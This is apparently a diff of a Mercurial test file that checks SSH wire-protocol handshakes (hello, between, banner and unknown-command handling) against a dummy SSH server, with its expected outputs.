2013 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
2014 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
2014 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
2015 i> \x00\x00\x00\x00\x00\x00\x00\x00
2015 i> \x00\x00\x00\x00\x00\x00\x00\x00
2016 i> write(2) -> None:
2016 i> write(2) -> 2:
2017 i> 0\n
2017 i> 0\n
2018 i> flush() -> None
2018 i> flush() -> None
2019 o> readline() -> 2:
2019 o> readline() -> 2:
2020 o> 0\n
2020 o> 0\n
2021 o> readline() -> 2:
2021 o> readline() -> 2:
2022 o> 1\n
2022 o> 1\n
2023 o> read(1) -> 1: 1
2023 o> read(1) -> 1: 1
2024 result: 1
2024 result: 1
2025 remote output:
2025 remote output:
2026 e> read(-1) -> 152:
2026 e> read(-1) -> 152:
2027 e> adding changesets\n
2027 e> adding changesets\n
2028 e> adding manifests\n
2028 e> adding manifests\n
2029 e> adding file changes\n
2029 e> adding file changes\n
2030 e> added 1 changesets with 1 changes to 1 files\n
2030 e> added 1 changesets with 1 changes to 1 files\n
2031 e> ui.write 1\n
2031 e> ui.write 1\n
2032 e> ui.write_err 1\n
2032 e> ui.write_err 1\n
2033 e> ui.write 2\n
2033 e> ui.write 2\n
2034 e> ui.write_err 2\n
2034 e> ui.write_err 2\n
@@ -1,2139 +1,2139 b''
1 $ cat > hgrc-sshv2 << EOF
1 $ cat > hgrc-sshv2 << EOF
2 > %include $HGRCPATH
2 > %include $HGRCPATH
3 > [experimental]
3 > [experimental]
4 > sshpeer.advertise-v2 = true
4 > sshpeer.advertise-v2 = true
5 > sshserver.support-v2 = true
5 > sshserver.support-v2 = true
6 > EOF
6 > EOF
7
7
8 Helper function to run protocol tests against multiple protocol versions.
8 Helper function to run protocol tests against multiple protocol versions.
9 This is easier than using #testcases because managing differences between
9 This is easier than using #testcases because managing differences between
10 protocols with inline conditional output is hard to read.
10 protocols with inline conditional output is hard to read.
11
11
12 $ debugwireproto() {
12 $ debugwireproto() {
13 > commands=`cat -`
13 > commands=`cat -`
14 > echo 'testing ssh1'
14 > echo 'testing ssh1'
15 > echo "${commands}" | hg --verbose debugwireproto --localssh
15 > echo "${commands}" | hg --verbose debugwireproto --localssh
16 > echo ""
16 > echo ""
17 > echo 'testing ssh2'
17 > echo 'testing ssh2'
18 > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh
18 > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh
19 > }
19 > }
20
20
21 $ cat >> $HGRCPATH << EOF
21 $ cat >> $HGRCPATH << EOF
22 > [ui]
22 > [ui]
23 > ssh = $PYTHON "$TESTDIR/dummyssh"
23 > ssh = $PYTHON "$TESTDIR/dummyssh"
24 > [devel]
24 > [devel]
25 > debug.peer-request = true
25 > debug.peer-request = true
26 > [extensions]
26 > [extensions]
27 > sshprotoext = $TESTDIR/sshprotoext.py
27 > sshprotoext = $TESTDIR/sshprotoext.py
28 > EOF
28 > EOF
29
29
30 $ hg init server
30 $ hg init server
31 $ cd server
31 $ cd server
32 $ echo 0 > foo
32 $ echo 0 > foo
33 $ hg -q add foo
33 $ hg -q add foo
34 $ hg commit -m initial
34 $ hg commit -m initial
35
35
36 A no-op connection performs a handshake
36 A no-op connection performs a handshake
37
37
38 $ hg debugwireproto --localssh << EOF
38 $ hg debugwireproto --localssh << EOF
39 > EOF
39 > EOF
40 creating ssh peer from handshake results
40 creating ssh peer from handshake results
41
41
42 Raw peers don't perform any activity
42 Raw peers don't perform any activity
43
43
44 $ hg debugwireproto --localssh --peer raw << EOF
44 $ hg debugwireproto --localssh --peer raw << EOF
45 > EOF
45 > EOF
46 using raw connection to peer
46 using raw connection to peer
47 $ hg debugwireproto --localssh --peer ssh1 << EOF
47 $ hg debugwireproto --localssh --peer ssh1 << EOF
48 > EOF
48 > EOF
49 creating ssh peer for wire protocol version 1
49 creating ssh peer for wire protocol version 1
50 $ hg debugwireproto --localssh --peer ssh2 << EOF
50 $ hg debugwireproto --localssh --peer ssh2 << EOF
51 > EOF
51 > EOF
52 creating ssh peer for wire protocol version 2
52 creating ssh peer for wire protocol version 2
53
53
54 Test a normal behaving server, for sanity
54 Test a normal behaving server, for sanity
55
55
56 $ cd ..
56 $ cd ..
57
57
58 $ hg --debug debugpeer ssh://user@dummy/server
58 $ hg --debug debugpeer ssh://user@dummy/server
59 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
59 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
60 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
60 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
61 devel-peer-request: hello
61 devel-peer-request: hello
62 sending hello command
62 sending hello command
63 devel-peer-request: between
63 devel-peer-request: between
64 devel-peer-request: pairs: 81 bytes
64 devel-peer-request: pairs: 81 bytes
65 sending between command
65 sending between command
66 remote: 384
66 remote: 384
67 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
67 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
68 remote: 1
68 remote: 1
69 url: ssh://user@dummy/server
69 url: ssh://user@dummy/server
70 local: no
70 local: no
71 pushable: yes
71 pushable: yes
72
72
73 Server should answer the "hello" command in isolation
73 Server should answer the "hello" command in isolation
74
74
75 $ hg -R server debugwireproto --localssh --peer raw << EOF
75 $ hg -R server debugwireproto --localssh --peer raw << EOF
76 > raw
76 > raw
77 > hello\n
77 > hello\n
78 > readline
78 > readline
79 > readline
79 > readline
80 > EOF
80 > EOF
81 using raw connection to peer
81 using raw connection to peer
82 i> write(6) -> None:
82 i> write(6) -> 6:
83 i> hello\n
83 i> hello\n
84 o> readline() -> 4:
84 o> readline() -> 4:
85 o> 384\n
85 o> 384\n
86 o> readline() -> 384:
86 o> readline() -> 384:
87 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
87 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
88
88
89 `hg debugserve --sshstdio` works
89 `hg debugserve --sshstdio` works
90
90
91 $ cd server
91 $ cd server
92 $ hg debugserve --sshstdio << EOF
92 $ hg debugserve --sshstdio << EOF
93 > hello
93 > hello
94 > EOF
94 > EOF
95 384
95 384
96 capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
96 capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
97
97
98 I/O logging works
98 I/O logging works
99
99
100 $ hg debugserve --sshstdio --logiofd 1 << EOF
100 $ hg debugserve --sshstdio --logiofd 1 << EOF
101 > hello
101 > hello
102 > EOF
102 > EOF
103 o> write(4) -> None:
103 o> write(4) -> 4:
104 o> 384\n
104 o> 384\n
105 o> write(384) -> None:
105 o> write(384) -> 384:
106 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
106 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
107 384
107 384
108 capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
108 capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
109 o> flush() -> None
109 o> flush() -> None
110
110
111 $ hg debugserve --sshstdio --logiofile $TESTTMP/io << EOF
111 $ hg debugserve --sshstdio --logiofile $TESTTMP/io << EOF
112 > hello
112 > hello
113 > EOF
113 > EOF
114 384
114 384
115 capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
115 capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
116
116
117 $ cat $TESTTMP/io
117 $ cat $TESTTMP/io
118 o> write(4) -> None:
118 o> write(4) -> 4:
119 o> 384\n
119 o> 384\n
120 o> write(384) -> None:
120 o> write(384) -> 384:
121 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
121 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
122 o> flush() -> None
122 o> flush() -> None
123
123
124 $ cd ..
124 $ cd ..
125
125
126 >=0.9.1 clients send a "hello" + "between" for the null range as part of handshake.
126 >=0.9.1 clients send a "hello" + "between" for the null range as part of handshake.
127 Server should reply with capabilities and should send "1\n\n" as a successful
127 Server should reply with capabilities and should send "1\n\n" as a successful
128 reply with empty response to the "between".
128 reply with empty response to the "between".
129
129
130 $ hg -R server debugwireproto --localssh --peer raw << EOF
130 $ hg -R server debugwireproto --localssh --peer raw << EOF
131 > raw
131 > raw
132 > hello\n
132 > hello\n
133 > readline
133 > readline
134 > readline
134 > readline
135 > raw
135 > raw
136 > between\n
136 > between\n
137 > pairs 81\n
137 > pairs 81\n
138 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
138 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
139 > readline
139 > readline
140 > readline
140 > readline
141 > EOF
141 > EOF
142 using raw connection to peer
142 using raw connection to peer
143 i> write(6) -> None:
143 i> write(6) -> 6:
144 i> hello\n
144 i> hello\n
145 o> readline() -> 4:
145 o> readline() -> 4:
146 o> 384\n
146 o> 384\n
147 o> readline() -> 384:
147 o> readline() -> 384:
148 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
148 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
149 i> write(98) -> None:
149 i> write(98) -> 98:
150 i> between\n
150 i> between\n
151 i> pairs 81\n
151 i> pairs 81\n
152 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
152 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
153 o> readline() -> 2:
153 o> readline() -> 2:
154 o> 1\n
154 o> 1\n
155 o> readline() -> 1:
155 o> readline() -> 1:
156 o> \n
156 o> \n
157
157
158 SSH banner is not printed by default, ignored by clients
158 SSH banner is not printed by default, ignored by clients
159
159
160 $ SSHSERVERMODE=banner hg debugpeer ssh://user@dummy/server
160 $ SSHSERVERMODE=banner hg debugpeer ssh://user@dummy/server
161 url: ssh://user@dummy/server
161 url: ssh://user@dummy/server
162 local: no
162 local: no
163 pushable: yes
163 pushable: yes
164
164
165 --debug will print the banner
165 --debug will print the banner
166
166
167 $ SSHSERVERMODE=banner hg --debug debugpeer ssh://user@dummy/server
167 $ SSHSERVERMODE=banner hg --debug debugpeer ssh://user@dummy/server
168 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
168 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
169 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
169 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
170 devel-peer-request: hello
170 devel-peer-request: hello
171 sending hello command
171 sending hello command
172 devel-peer-request: between
172 devel-peer-request: between
173 devel-peer-request: pairs: 81 bytes
173 devel-peer-request: pairs: 81 bytes
174 sending between command
174 sending between command
175 remote: banner: line 0
175 remote: banner: line 0
176 remote: banner: line 1
176 remote: banner: line 1
177 remote: banner: line 2
177 remote: banner: line 2
178 remote: banner: line 3
178 remote: banner: line 3
179 remote: banner: line 4
179 remote: banner: line 4
180 remote: banner: line 5
180 remote: banner: line 5
181 remote: banner: line 6
181 remote: banner: line 6
182 remote: banner: line 7
182 remote: banner: line 7
183 remote: banner: line 8
183 remote: banner: line 8
184 remote: banner: line 9
184 remote: banner: line 9
185 remote: 384
185 remote: 384
186 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
186 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
187 remote: 1
187 remote: 1
188 url: ssh://user@dummy/server
188 url: ssh://user@dummy/server
189 local: no
189 local: no
190 pushable: yes
190 pushable: yes
191
191
192 And test the banner with the raw protocol
192 And test the banner with the raw protocol
193
193
194 $ SSHSERVERMODE=banner hg -R server debugwireproto --localssh --peer raw << EOF
194 $ SSHSERVERMODE=banner hg -R server debugwireproto --localssh --peer raw << EOF
195 > raw
195 > raw
196 > hello\n
196 > hello\n
197 > readline
197 > readline
198 > readline
198 > readline
199 > readline
199 > readline
200 > readline
200 > readline
201 > readline
201 > readline
202 > readline
202 > readline
203 > readline
203 > readline
204 > readline
204 > readline
205 > readline
205 > readline
206 > readline
206 > readline
207 > readline
207 > readline
208 > readline
208 > readline
209 > raw
209 > raw
210 > between\n
210 > between\n
211 > pairs 81\n
211 > pairs 81\n
212 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
212 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
213 > readline
213 > readline
214 > readline
214 > readline
215 > EOF
215 > EOF
216 using raw connection to peer
216 using raw connection to peer
217 i> write(6) -> None:
217 i> write(6) -> 6:
218 i> hello\n
218 i> hello\n
219 o> readline() -> 15:
219 o> readline() -> 15:
220 o> banner: line 0\n
220 o> banner: line 0\n
221 o> readline() -> 15:
221 o> readline() -> 15:
222 o> banner: line 1\n
222 o> banner: line 1\n
223 o> readline() -> 15:
223 o> readline() -> 15:
224 o> banner: line 2\n
224 o> banner: line 2\n
225 o> readline() -> 15:
225 o> readline() -> 15:
226 o> banner: line 3\n
226 o> banner: line 3\n
227 o> readline() -> 15:
227 o> readline() -> 15:
228 o> banner: line 4\n
228 o> banner: line 4\n
229 o> readline() -> 15:
229 o> readline() -> 15:
230 o> banner: line 5\n
230 o> banner: line 5\n
231 o> readline() -> 15:
231 o> readline() -> 15:
232 o> banner: line 6\n
232 o> banner: line 6\n
233 o> readline() -> 15:
233 o> readline() -> 15:
234 o> banner: line 7\n
234 o> banner: line 7\n
235 o> readline() -> 15:
235 o> readline() -> 15:
236 o> banner: line 8\n
236 o> banner: line 8\n
237 o> readline() -> 15:
237 o> readline() -> 15:
238 o> banner: line 9\n
238 o> banner: line 9\n
239 o> readline() -> 4:
239 o> readline() -> 4:
240 o> 384\n
240 o> 384\n
241 o> readline() -> 384:
241 o> readline() -> 384:
242 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
242 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
243 i> write(98) -> None:
243 i> write(98) -> 98:
244 i> between\n
244 i> between\n
245 i> pairs 81\n
245 i> pairs 81\n
246 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
246 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
247 o> readline() -> 2:
247 o> readline() -> 2:
248 o> 1\n
248 o> 1\n
249 o> readline() -> 1:
249 o> readline() -> 1:
250 o> \n
250 o> \n
251
251
252 Connecting to a <0.9.1 server that doesn't support the hello command.
252 Connecting to a <0.9.1 server that doesn't support the hello command.
253 The client should refuse, as we dropped support for connecting to such
253 The client should refuse, as we dropped support for connecting to such
254 servers.
254 servers.
255
255
256 $ SSHSERVERMODE=no-hello hg --debug debugpeer ssh://user@dummy/server
256 $ SSHSERVERMODE=no-hello hg --debug debugpeer ssh://user@dummy/server
257 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
257 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
258 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
258 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
259 devel-peer-request: hello
259 devel-peer-request: hello
260 sending hello command
260 sending hello command
261 devel-peer-request: between
261 devel-peer-request: between
262 devel-peer-request: pairs: 81 bytes
262 devel-peer-request: pairs: 81 bytes
263 sending between command
263 sending between command
264 remote: 0
264 remote: 0
265 remote: 1
265 remote: 1
266 abort: no suitable response from remote hg!
266 abort: no suitable response from remote hg!
267 [255]
267 [255]
268
268
269 Sending an unknown command to the server results in an empty response to that command
269 Sending an unknown command to the server results in an empty response to that command
270
270
271 $ hg -R server debugwireproto --localssh --peer raw << EOF
271 $ hg -R server debugwireproto --localssh --peer raw << EOF
272 > raw
272 > raw
273 > pre-hello\n
273 > pre-hello\n
274 > readline
274 > readline
275 > raw
275 > raw
276 > hello\n
276 > hello\n
277 > readline
277 > readline
278 > raw
278 > raw
279 > between\n
279 > between\n
280 > pairs 81\n
280 > pairs 81\n
281 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
281 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
282 > readline
282 > readline
283 > readline
283 > readline
284 > EOF
284 > EOF
285 using raw connection to peer
285 using raw connection to peer
286 i> write(10) -> None:
286 i> write(10) -> 10:
287 i> pre-hello\n
287 i> pre-hello\n
288 o> readline() -> 2:
288 o> readline() -> 2:
289 o> 0\n
289 o> 0\n
290 i> write(6) -> None:
290 i> write(6) -> 6:
291 i> hello\n
291 i> hello\n
292 o> readline() -> 4:
292 o> readline() -> 4:
293 o> 384\n
293 o> 384\n
294 i> write(98) -> None:
294 i> write(98) -> 98:
295 i> between\n
295 i> between\n
296 i> pairs 81\n
296 i> pairs 81\n
297 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
297 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
298 o> readline() -> 384:
298 o> readline() -> 384:
299 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
299 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
300 o> readline() -> 2:
300 o> readline() -> 2:
301 o> 1\n
301 o> 1\n
302
302
303 $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-no-args --debug debugpeer ssh://user@dummy/server
303 $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-no-args --debug debugpeer ssh://user@dummy/server
304 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
304 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
305 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
305 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
306 sending no-args command
306 sending no-args command
307 devel-peer-request: hello
307 devel-peer-request: hello
308 sending hello command
308 sending hello command
309 devel-peer-request: between
309 devel-peer-request: between
310 devel-peer-request: pairs: 81 bytes
310 devel-peer-request: pairs: 81 bytes
311 sending between command
311 sending between command
312 remote: 0
312 remote: 0
313 remote: 384
313 remote: 384
314 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
314 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
315 remote: 1
315 remote: 1
316 url: ssh://user@dummy/server
316 url: ssh://user@dummy/server
317 local: no
317 local: no
318 pushable: yes
318 pushable: yes
319
319
320 Send multiple unknown commands before hello
320 Send multiple unknown commands before hello
321
321
322 $ hg -R server debugwireproto --localssh --peer raw << EOF
322 $ hg -R server debugwireproto --localssh --peer raw << EOF
323 > raw
323 > raw
324 > unknown1\n
324 > unknown1\n
325 > readline
325 > readline
326 > raw
326 > raw
327 > unknown2\n
327 > unknown2\n
328 > readline
328 > readline
329 > raw
329 > raw
330 > unknown3\n
330 > unknown3\n
331 > readline
331 > readline
332 > raw
332 > raw
333 > hello\n
333 > hello\n
334 > readline
334 > readline
335 > readline
335 > readline
336 > raw
336 > raw
337 > between\n
337 > between\n
338 > pairs 81\n
338 > pairs 81\n
339 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
339 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
340 > readline
340 > readline
341 > readline
341 > readline
342 > EOF
342 > EOF
343 using raw connection to peer
343 using raw connection to peer
344 i> write(9) -> None:
344 i> write(9) -> 9:
345 i> unknown1\n
345 i> unknown1\n
346 o> readline() -> 2:
346 o> readline() -> 2:
347 o> 0\n
347 o> 0\n
348 i> write(9) -> None:
348 i> write(9) -> 9:
349 i> unknown2\n
349 i> unknown2\n
350 o> readline() -> 2:
350 o> readline() -> 2:
351 o> 0\n
351 o> 0\n
352 i> write(9) -> None:
352 i> write(9) -> 9:
353 i> unknown3\n
353 i> unknown3\n
354 o> readline() -> 2:
354 o> readline() -> 2:
355 o> 0\n
355 o> 0\n
356 i> write(6) -> None:
356 i> write(6) -> 6:
357 i> hello\n
357 i> hello\n
358 o> readline() -> 4:
358 o> readline() -> 4:
359 o> 384\n
359 o> 384\n
360 o> readline() -> 384:
360 o> readline() -> 384:
361 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
361 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
362 i> write(98) -> None:
362 i> write(98) -> 98:
363 i> between\n
363 i> between\n
364 i> pairs 81\n
364 i> pairs 81\n
365 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
365 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
366 o> readline() -> 2:
366 o> readline() -> 2:
367 o> 1\n
367 o> 1\n
368 o> readline() -> 1:
368 o> readline() -> 1:
369 o> \n
369 o> \n
370
370
371 $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-multiple-no-args --debug debugpeer ssh://user@dummy/server
371 $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-multiple-no-args --debug debugpeer ssh://user@dummy/server
372 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
372 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
373 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
373 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
374 sending unknown1 command
374 sending unknown1 command
375 sending unknown2 command
375 sending unknown2 command
376 sending unknown3 command
376 sending unknown3 command
377 devel-peer-request: hello
377 devel-peer-request: hello
378 sending hello command
378 sending hello command
379 devel-peer-request: between
379 devel-peer-request: between
380 devel-peer-request: pairs: 81 bytes
380 devel-peer-request: pairs: 81 bytes
381 sending between command
381 sending between command
382 remote: 0
382 remote: 0
383 remote: 0
383 remote: 0
384 remote: 0
384 remote: 0
385 remote: 384
385 remote: 384
386 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
386 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
387 remote: 1
387 remote: 1
388 url: ssh://user@dummy/server
388 url: ssh://user@dummy/server
389 local: no
389 local: no
390 pushable: yes
390 pushable: yes
391
391
392 Send an unknown command before hello that has arguments
392 Send an unknown command before hello that has arguments
393
393
394 $ cd server
394 $ cd server
395
395
396 $ hg debugwireproto --localssh --peer raw << EOF
396 $ hg debugwireproto --localssh --peer raw << EOF
397 > raw
397 > raw
398 > with-args\n
398 > with-args\n
399 > foo 13\n
399 > foo 13\n
400 > value for foo\n
400 > value for foo\n
401 > bar 13\n
401 > bar 13\n
402 > value for bar\n
402 > value for bar\n
403 > readline
403 > readline
404 > readline
404 > readline
405 > readline
405 > readline
406 > readline
406 > readline
407 > readline
407 > readline
408 > raw
408 > raw
409 > hello\n
409 > hello\n
410 > readline
410 > readline
411 > readline
411 > readline
412 > raw
412 > raw
413 > between\n
413 > between\n
414 > pairs 81\n
414 > pairs 81\n
415 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
415 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
416 > readline
416 > readline
417 > readline
417 > readline
418 > EOF
418 > EOF
419 using raw connection to peer
419 using raw connection to peer
420 i> write(52) -> None:
420 i> write(52) -> 52:
421 i> with-args\n
421 i> with-args\n
422 i> foo 13\n
422 i> foo 13\n
423 i> value for foo\n
423 i> value for foo\n
424 i> bar 13\n
424 i> bar 13\n
425 i> value for bar\n
425 i> value for bar\n
426 o> readline() -> 2:
426 o> readline() -> 2:
427 o> 0\n
427 o> 0\n
428 o> readline() -> 2:
428 o> readline() -> 2:
429 o> 0\n
429 o> 0\n
430 o> readline() -> 2:
430 o> readline() -> 2:
431 o> 0\n
431 o> 0\n
432 o> readline() -> 2:
432 o> readline() -> 2:
433 o> 0\n
